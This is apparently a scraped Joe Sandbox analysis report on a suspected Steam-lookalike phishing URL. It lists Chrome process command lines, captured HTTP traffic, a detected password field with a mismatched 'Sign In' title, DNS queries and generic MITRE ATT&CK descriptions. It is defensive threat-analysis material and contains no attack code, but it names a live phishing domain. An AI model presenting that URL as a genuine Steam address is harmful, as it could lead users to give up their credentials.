T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49889	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:09 UTC	713	OUT	GET /public/shared/images/popups/btn_arrow_down_padded.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=mm2EqtpQ_Tvc&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:10 UTC	265	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 161 Last-Modified: Fri, 05 Jan 2018 22:31:55 GMT ETag: "5a4ffcdb-a1" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:09 GMT Connection: close
2024-10-07 06:47:10 UTC	161	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 13 00 00 00 0c 08 06 00 00 00 80 d0 86 82 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 00 43 49 44 41 54 78 da 62 fc ff ff 3f 03 b5 00 e3 08 36 ec d8 91 c3 fc 40 ea 00 10 1b e0 d0 b7 c0 ca c6 36 91 68 97 e1 31 10 ab 41 04 bd 89 c5 40 9c 06 11 15 66 48 06 5e c0 67 d0 48 4f 1a e4 02 80 00 03 00 23 ae 37 e9 64 d5 5d 17 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRtEXtSoftwareAdobe ImageReadyqe<CIDATxb?6@6h1A@fH^gHO#7d]IENDB`

Target ID:	0
Start time:	02:46:47
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	02:46:53
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1988 --field-trial-handle=1904,i,15395976492508562252,10089100898454168683,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	02:46:55
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://sneamcomnnumnlty.com/hfjf748934924/geting/put"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:47:39
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://store.steampowered.com/login/?14__global-header
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:47:40
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2004,i,14189078209068578430,5965546534176929648,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:47:55
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://s.team/q/1/2248518814943508887
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:47:55
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1948,i,13301017682088754605,4974563853108499840,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://sneamcomnnumnlty.com/hfjf748934924/geting/put	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://sneamcomnnumnlty.com/hfjf748934924/geting/put	HTTP Parser: Title: Sign In does not match URL
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: Title: Sign In does not match URL

Source: https://sneamcomnnumnlty.com/hfjf748934924/geting/put	HTTP Parser: <input type="password" .../> found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: <input type="password" .../> found

Source: https://sneamcomnnumnlty.com/hfjf748934924/geting/put	HTTP Parser: No <meta name="author".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="author".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="author".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="author".. found

Source: https://sneamcomnnumnlty.com/hfjf748934924/geting/put	HTTP Parser: No <meta name="copyright".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="copyright".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="copyright".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45

Source: chromecache_201.2.dr, chromecache_228.2.dr, chromecache_424.2.dr	String found in binary or memory:   <span aria-hidden="true">\|</span>  <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.facebook.com%2FSteam" target="_blank" rel=" noopener"><img src="https://store.akamai.steamstatic.com/public/images/ico/ico_facebook.png" alt="Facebook"> Steam</a> equals www.facebook.com (Facebook)
Source: chromecache_347.2.dr, chromecache_359.2.dr, chromecache_236.2.dr, chromecache_277.2.dr	String found in binary or memory: var youtubeurl = location.protocol + '//www.youtube.com/embed/' + videoid + '?showinfo=0&autohide=1&fs=1&hd=1&modestbranding=1&rel=0&showsearch=0&wmode=direct&autoplay=1'; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: sneamcomnnumnlty.com
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: store.akamai.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: recaptcha.net
Source: global traffic	DNS traffic detected: DNS query: store.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: cdn.akamai.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: 200.163.202.172.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: fonts.cdnfonts.com
Source: global traffic	DNS traffic detected: DNS query: community.cloudflare.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: community.akamai.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: s.team
Source: global traffic	DNS traffic detected: DNS query: login.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: help.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: api.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: shared.akamai.steamstatic.com

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://sneamcomnnumnlty.com/hfjf748934924/geting/put

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 196

Chrome Cache Entry: 197

Chrome Cache Entry: 198

Chrome Cache Entry: 199

Chrome Cache Entry: 200

Chrome Cache Entry: 201

Chrome Cache Entry: 202

Chrome Cache Entry: 203

Chrome Cache Entry: 204

Chrome Cache Entry: 205

Chrome Cache Entry: 206

Chrome Cache Entry: 207

Chrome Cache Entry: 208

Chrome Cache Entry: 209

Chrome Cache Entry: 210

Chrome Cache Entry: 211

Chrome Cache Entry: 212

Chrome Cache Entry: 213

Chrome Cache Entry: 214

Chrome Cache Entry: 215

Chrome Cache Entry: 216

Chrome Cache Entry: 217

Chrome Cache Entry: 218

Chrome Cache Entry: 219

Chrome Cache Entry: 220

Chrome Cache Entry: 221

Windows Analysis Report
https://sneamcomnnumnlty.com/hfjf748934924/geting/put